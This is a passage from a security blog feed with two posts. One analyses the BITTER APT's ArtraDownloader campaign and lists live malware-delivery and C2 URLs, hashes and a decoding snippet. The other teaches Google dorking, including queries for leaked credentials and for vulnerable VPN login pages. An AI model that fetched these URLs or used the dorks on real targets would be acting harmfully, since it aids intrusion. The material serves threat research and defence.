</ol>]]></content><author><name>MELTX0R</name></author><category term="tech" /><summary type="html"><![CDATA[]]></summary></entry><entry><title type="html">09/06/2019 - BITTER APT: Not So Sweet</title><link href="/tech/2019/09/06/bitter-apt-not-so-sweet.html" rel="alternate" type="text/html" title="09/06/2019 - BITTER APT: Not So Sweet" /><published>2019-09-06T07:00:00+00:00</published><updated>2019-09-06T07:00:00+00:00</updated><id>/tech/2019/09/06/bitter-apt-not-so-sweet</id><content type="html" xml:base="/tech/2019/09/06/bitter-apt-not-so-sweet.html"><![CDATA[<center><img src="/assets/images/bitterBanner.jpg" style="max-width:100%;max-height:100%;" /></center>

<p> </p>

<h2 id="summary">Summary</h2>

<p>BITTER, an APT group which has been  active since 2015, has been observed ramping up their activity lately. In this post, I will review recent infrastructure that is actively being used by this APT, which is suspected of being used to carry out attacks against Pakistani organizations.</p>

<h2 id="analysis">Analysis</h2>

<p>The BITTER APT group has notably been observed targeting Chinese and Pakistani interests in the past, and is suspected of being belonging to a country in South Asia. Recent reports from QiAnXin Technology’s “RedDrip” team, a Chinese security vendor, suggest that the BITTER APT group is actively launching attacks targeting Pakistani organizations.  According to this <a href="https://twitter.com/RedDrip7/status/1164855381052416002"><em>Tweet</em></a>, they are seeing malicious documents causing users to download payloads from <em>maq.com.pk/wehs</em>, which looks to be ArtraDownloader. ArtraDownloader is a Trojan Downloader that was discovered by PaloAlto’s UNIT42, and has also been observed downloading BitterRAT Remote Access Trojan, both of which have been associated with BITTER APT groups operations.</p>

<p>Researching for activity related to ArtraDownloader on App.Any.Run reveals numerous examples of malicious Microsoft Word documents exploiting the CVE-2017-11882 vulnerability to download an executable payload from the aforementioned URL identified by RedDrip (<em>maq.com.pk</em>). CVE-2017-11882, which was patched by Microsoft in November of 2017, is a memory corruption vulnerability which grants the attacker RCE (remote code execution) upon the user opening a specially crafted file (see <a href="https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2017-11882"><em>here</em></a> for the Microsoft advisory). These Any.Run analyses indicate that, after exploitation and download of the ArtraDownloader from <em>maq.com.pk</em>, there is Command &amp; Control activity beaconing to the URL <em>onlinejohnline99.org/kvs06v.php</em>.</p>

<p> </p>

<center><img src="/assets/images/ArtraDownloader_AnyRun_Search.PNG" style="max-width:100%;max-height:100%;" /></center>
<p><span style="font-size:small;"> Shown above: App.Any.Run samples of ArtraDownloader</span></p>

<p> </p>

<p>Pivoting off of Any.Run and into VirusTotal we can see that <em>onlinejohnline99.org</em> appears to be the Command &amp; Control for several binaries, which are actively being distributed from several undiscovered domains. We already know about <em>maq.com.pk</em>, however because of VirusTotal’s relational graphing abilities, we are able to see that these binaries are also being served from <em>biocons.pk</em>, <em>gandharaart.org</em>, and <em>sartetextile.com</em>. One thing of interest, however notable, is all of the domains delivering these binaries are hosted by the same ISP (COMSATS, a Pakistani ISP). Digging deeper into the IP addresses hosting these domains (<em>203.124.44.31, 203.124.44.66, 203.124.44.93</em>, and <em>203.124.43.227</em>) revealed that they were only hosting a very limited amount of domains, many of which appeared to be very suspect in naming convention or content. While these were suspicious, I could not directly relate them to BITTER APT activity at this time.</p>

<p> 
 
 
 </p>

<center><img src="/assets/images/VT_GRAPH_BITTER_APT_INFRA.PNG" style="max-width:100%;max-height:100%;" /></center>
<p><span style="font-size:small;"> Shown above: VirusTotal Graph of this campaign’s infrastructure</span></p>

<p> 
 
 
 </p>

<p>Analysis of the discovered binaries confirm them to be ArtraDownloader samples, with variations in naming and hash values (such as intelx.exe, lsasw.exe, advrt.exe, wehs.exe, reportstableregular.doc.exe, and more). I won’t go into details surrounding the actual analysis of the malware samples as PaloAlto’s UNIT42 has already gone over this at length in their article found <a href="https://unit42.paloaltonetworks.com/multiple-artradownloader-variants-used-by-bitter-to-target-pakistan/"><em>here</em></a> and the binaries I reviewed do not appear to differ significantly from what was described in their write-up. All of the samples I reviewed utilized <em>onlinejohnline99.org</em> as their primary Command &amp; Control infrastructure, with the exception of one sample which instead beaconed to the domain <em>advas.zhongwenchuantongqiye.com</em>, which was documented as being related to BITTER operations targeting the Chinese government in May of 2019 by 360-CERT.</p>

<p>The Command &amp; Control communications are typical for what we would see from ArtraDownloader, with all of the samples performing HTTP POST requests to their respective Command &amp; Control domains with differing .php URI structures.</p>

<p> </p>

<center><img src="/assets/images/ArtraDownloader_PCAP.png" style="max-width:100%;max-height:100%;" /></center>
<center><img src="/assets/images/ArtraDownloaderC2.png" style="max-width:100%;max-height:100%;" /></center>
<p><span style="font-size:small;"> Shown above: Packet capture of ArtraDownloader C2</span>
 </p>

<p>Various strings within these samples are obfuscated by adding or subtracting from each byte within a string, and the data being POST’d to these C2 servers is no exception. In order to decode this data, you can use the following Python script provided by UNIT42 in their analysis of the downloader.</p>

<p> </p>

<figure class="highlight"><pre><code class="language-python" data-lang="python"><span class="k">def</span> <span class="nf">decode</span><span class="p">(</span><span class="n">data</span><span class="p">):</span>
    <span class="n">out</span> <span class="o">=</span> <span class="s">""</span>
    <span class="k">for</span> <span class="n">d</span> <span class="ow">in</span> <span class="n">data</span><span class="p">:</span>
        <span class="n">out</span> <span class="o">+=</span> <span class="nb">chr</span><span class="p">(</span><span class="nb">ord</span><span class="p">(</span><span class="n">d</span><span class="p">)</span><span class="o">-</span><span class="mi">1</span><span class="p">)</span>
    <span class="k">return</span> <span class="n">out</span>

<span class="k">print</span><span class="p">(</span><span class="n">decode</span><span class="p">(</span><span class="s">"your obfuscated data here"</span><span class="p">))</span></code></pre></figure>

<p> </p>

<p>Once you have deobfuscated the data, you’ll quickly see that it contains the typical identifying information that is obtained during initial infections, such as hostname, Windows version, username, unique identifier, and a Boolean value indicating if the second stage payload was downloaded and executed successfully.</p>

<p> </p>

<table>
  <tbody>
    <tr>
      <td><strong>Variable</strong></td>
      <td><strong>Description</strong></td>
      <td><strong>Decoded</strong></td>
    </tr>
    <tr>
      <td>SNI</td>
      <td>Hostname</td>
      <td>USER-PC</td>
    </tr>
    <tr>
      <td>UME</td>
      <td>Windows Version</td>
      <td>Windows 7 Professional</td>
    </tr>
    <tr>
      <td>OPQ</td>
      <td>Username</td>
      <td>admin</td>
    </tr>
    <tr>
      <td>IVR</td>
      <td>Unique Identifier</td>
      <td>USER-PC##admin@@00371-461-2203502-85564</td>
    </tr>
    <tr>
      <td>st</td>
      <td>Boolean value indicating if the second stage payload was downloaded and executed successfully</td>
      <td>0</td>
    </tr>
  </tbody>
</table>

<p> </p>

<p>During my analysis, I was unable to obtain a second stage payload to further examine the BITTER APT infrastructure. However the additional payload would likely have been the BitterRAT Remote Access Trojan, which is routinely distributed by ArtraDownloader variants. Once installed, the BITTER actors could then pivot and perform various other action on objectives. At this time, the motives of this group is unknown, however it is likely that this campaign is in pursuit of some form of espionage due to the reports of them being backed by a south Asian country (some reports indicate India). Based on much of the infrastructure observed being hosted in Pakistan, I would agree with the initial suspicion that Pakistan is being targeted in these attacks. This would also further reaffirm the possible Indian attribution to BITTER APT, due to the long-running unrest regarding the Kashmir territorial conflict between India and Pakistan over the Kashmir region.</p>

<p> </p>

<h2 id="indicators">Indicators</h2>

<table>
  <tbody>
    <tr>
      <td><strong>Indicator</strong></td>
      <td><strong>Type</strong></td>
      <td><strong>Description</strong></td>
    </tr>
    <tr>
      <td>advas.zhongwenchuantongqiye.com/Mcx2svc.php</td>
      <td>URL</td>
      <td>URL for ArtraDownloader C2</td>
    </tr>
    <tr>
      <td>onlinejohnline99.org/ms2u1p.php</td>
      <td>URL</td>
      <td>URL for ArtraDownloader C2</td>
    </tr>
    <tr>
      <td>onlinejohnline99.org/kvs06v.php</td>
      <td>URL</td>
      <td>URL for ArtraDownloader C2</td>
    </tr>
    <tr>
      <td>onlinejohnline99.org/index.htm</td>
      <td>URL</td>
      <td>URL for ArtraDownloader C2</td>
    </tr>
    <tr>
      <td>onlinejohnline99.org/lax05u.php</td>
      <td>URL</td>
      <td>URL for ArtraDownloader C2</td>
    </tr>
    <tr>
      <td>gandharaart.org/news/lsasw</td>
      <td>URL</td>
      <td>URL delivering ArtraDownloader</td>
    </tr>
    <tr>
      <td>gandharaart.org/images/advrt</td>
      <td>URL</td>
      <td>URL delivering ArtraDownloader</td>
    </tr>
    <tr>
      <td>biocons.pk/ReportsTableRegular.doc.exe</td>
      <td>URL</td>
      <td>URL delivering ArtraDownloader</td>
    </tr>
    <tr>
      <td>sartetextile.com/news/pq</td>
      <td>URL</td>
      <td>URL delivering ArtraDownloader</td>
    </tr>
    <tr>
      <td>sartetextile.com/demo/suo</td>
      <td>URL</td>
      <td>URL delivering ArtraDownloader</td>
    </tr>
    <tr>
      <td>sartetextile.com/news/ctf</td>
      <td>URL</td>
      <td>URL delivering ArtraDownloader</td>
    </tr>
    <tr>
      <td>maq.com.pk/wehs</td>
      <td>URL</td>
      <td>URL delivering ArtraDownloader</td>
    </tr>
    <tr>
      <td>72eb6896fa9326f38d3745cc442611dc</td>
      <td>MD5</td>
      <td>ArtraDownloader hash for advrt.exe obtained from gandharaart.org</td>
    </tr>
    <tr>
      <td>66b3039067e4f7b8ad1b3166b5dbcacf</td>
      <td>MD5</td>
      <td>ArtraDownloader hash for advrt.exe obtained from gandharaart.org</td>
    </tr>
    <tr>
      <td>eec2828cb4a9032ab1177bb472f1977b</td>
      <td>MD5</td>
      <td>ArtraDownloader hash for lsasw.exe obtained from gandharaart.org and biocons.pk</td>
    </tr>
    <tr>
      <td>73c297f059dd94671ca4e4c7dbfa6241</td>
      <td>MD5</td>
      <td>ArtraDownloader hash for wehs.exe obtained from maq.com.pk</td>
    </tr>
    <tr>
      <td>3964665ec90decc41c7c38b42c5a7ce7</td>
      <td>MD5</td>
      <td>ArtraDownloader hash for suo.exe obtained from sartetextile.com</td>
    </tr>
    <tr>
      <td>eec2828cb4a9032ab1177bb472f1977b</td>
      <td>MD5</td>
      <td>ArtraDownloader hash for ctf.exe obtained from sartetextile.com</td>
    </tr>
  </tbody>
</table>

<p> </p>

<h2 id="referencesfurther-reading">References/Further Reading</h2>

<ol>
  <li>https://en.wikipedia.org/wiki/Kashmir_conflict</li>
  <li>https://unit42.paloaltonetworks.com/multiple-artradownloader-variants-used-by-bitter-to-target-pakistan/</li>
  <li>https://www.anomali.com/blog/suspected-bitter-apt-continues-targeting-government-of-china-and-chinese-organizations</li>
  <li>https://cert.360.cn/report/detail?id=137867e159331b7a968aa45050502d13</li>
  <li>https://unit42.paloaltonetworks.com/unit42-analysis-of-cve-2017-11882-exploit-in-the-wild/</li>
  <li>https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2017-11882</li>
  <li>https://twitter.com/RedDrip7/status/1164855381052416002</li>
</ol>]]></content><author><name>MELTX0R</name></author><category term="tech" /><summary type="html"><![CDATA[]]></summary></entry><entry><title type="html">Google Dorking</title><link href="/tutorial/2019/08/27/google-dorking.html" rel="alternate" type="text/html" title="Google Dorking" /><published>2019-08-27T07:00:00+00:00</published><updated>2019-08-27T07:00:00+00:00</updated><id>/tutorial/2019/08/27/google-dorking</id><content type="html" xml:base="/tutorial/2019/08/27/google-dorking.html"><![CDATA[<center><img src="/assets/images/googling-stuff-confused.jpg" style="max-width:100%;max-height:100%;" /></center>

<p> 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 </p>

<p><span style="font-size:large;font-style:italic">Google Dorking</span> sometimes referred to as “<em>Google Hacking</em>” can be a very useful resource for security analysts, penetration testers, threat researchers, and those with… less than helpful intentions.</p>

<p>The average user is familiar with Google - after all it is the most widely used search engine, with over 90% market share and over 5 billion searches every day. However, typical Google searches consist of entering basic terms or questions into the search bar - such as “taco recipes” or “why isn’t 11 pronounced onety-one?”. These differ from Google Dorking, which takes advantage of “<em>Advanced Operators</em>”. An Advanced Operator is a special character or command that helps extend the capability of normal searches, thus forcing searches to return more specific or restricted results. For example, if I were to trying to find a very specific article published on cnn.com regarding gummy bears, and tried searching for <code class="language-plaintext highlighter-rouge">cnn gummy bears</code>, over 316k results would be returned.</p>

<p> </p>

<center><img src="/assets/images/cnn-gummy-bear-search.jpg" style="max-width:100%;max-height:100%;" /></center>

<p> </p>

<p>However, if I were to utilize Advanced Operators in my query, and instead search for <code class="language-plaintext highlighter-rouge">site:cnn.com intitle:"gummy bears"</code> only 2 results are returned</p>

<p> </p>

<center><img src="/assets/images/cnn-gummy-bear-dork.jpg" style="max-width:100%;max-height:100%;" /></center>

<p> </p>

<p>Where this becomes dangerous is when Google indexes, caches, and makes searchable, data that is sensitive. Google and other search engines are constantly crawling, indexing, and caching the internet. And while most of the data indexed/cached was meant for public viewing, some of it was unintentionally left “accessible” to these search engines. As a result, there are treasure troves of data out there that was indexed/cached by these search engines (including confidential information, passwords, files, and more), but require more specific search terms to find. In fact, this feature has been utilized so often by malicious actors that the FBI released a warning about the risks associated with Google Dorking in 2014 <strong><a href="https://info.publicintelligence.net/DHS-FBI-NCTC-GoogleDorking.pdf/">(found here)</a></strong>.</p>

<p>Now, you may be thinking “that’s great and all, but how can I actually use this in my job?” Great question! As someone who has defended networks and hunted for threats, I’ve had to use Google Dorking in many different ways - for example, if I wanted to search for compromised credentials that were uploaded to a Pastebin dump, I would use the search <code class="language-plaintext highlighter-rouge">site:pastebin.com "@[myDomain].com"</code>. You could even go a step further, and create a <a href="https://www.google.com/alerts">Google Alert</a> to send you email notifications any time a new result is found for that search.</p>

<p>Or, if I wanted to find out if the company I am doing a penetration test for used PulseSecure VPN (which was recently identified as having a high severity arbitrary file reading vulnerability - <a href="https://nvd.nist.gov/vuln/detail/CVE-2019-11510">CVE-2019-11510</a>) then I could do a Google search for <code class="language-plaintext highlighter-rouge">inurl:/dana-na/ filetype:cgi companyName</code> and see if the login page for PulseSecure VPN was cached by Google for that company.</p>

<p>In closing, there are a plethora of different ways you could use Google Dorking to find vulnerabilities, confidential information, and more. Fortunately for us, Exploit-DB.com maintains a database of Google Dorking searches and their use-cases, aptly named <strong><a href="https://www.exploit-db.com/google-hacking-database">Google Hacking Database</a></strong>, which I highly recommend checking out. Experiment with different Advanced Operators (I included a table below) and see what you can find!</p>

<p> 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 </p>

<p><span style="font-size:x-large;">Google Search Advanced Operator Table</span> <span style="font-size:small;"> <a href="https://en.wikipedia.org/wiki/Google_hacking"> taken from Wikipedia</a></span></p>

<table>
  <thead>
    <tr>
      <th>Operator</th>
      <th>Purpose</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td>intitle</td>
      <td>Search page Title</td>
    </tr>
    <tr>
      <td>inurl</td>
      <td>Search URL</td>
    </tr>
    <tr>
      <td>allinurl</td>
      <td>Search URL</td>
    </tr>
    <tr>
      <td>filetype</td>
      <td>specific files</td>
    </tr>
    <tr>
      <td>intext</td>
      <td>Search text of page only</td>
    </tr>
    <tr>
      <td>allintext</td>
      <td>Search text of page only</td>
    </tr>
    <tr>
      <td>site</td>
      <td>Search specific site</td>
    </tr>
    <tr>
      <td>inanchor</td>
      <td>Search link anchor text</td>
    </tr>
    <tr>
      <td>numrange</td>
      <td>Locate number</td>
    </tr>
    <tr>
      <td>daterange</td>
      <td>Search in date range</td>
    </tr>
    <tr>
      <td>author</td>
      <td>Group author search</td>
    </tr>
    <tr>
      <td>group</td>
      <td>Group name search</td>
    </tr>
    <tr>
      <td>insubject</td>
      <td>Group subject search</td>
    </tr>
    <tr>
      <td>msgid</td>
      <td>Group msgid search</td>
    </tr>
  </tbody>
</table>

<p> 
 
 
 
 </p>

<p><span style="font-size:large;">References/Further Reading</span></p>
<ol>
  <li>https://en.wikipedia.org/wiki/Google_hacking</li>
  <li>https://www.exploit-db.com/exploits/47297</li>
  <li>https://info.publicintelligence.net/DHS-FBI-NCTC-GoogleDorking.pdf</li>
  <li>https://en.wikipedia.org/wiki/Web_crawler</li>
  <li>https://nvd.nist.gov/vuln/detail/CVE-2019-11510</li>
</ol>]]></content><author><name>MELTX0R</name></author><category term="tutorial" /><summary type="html"><![CDATA[]]></summary></entry></feed>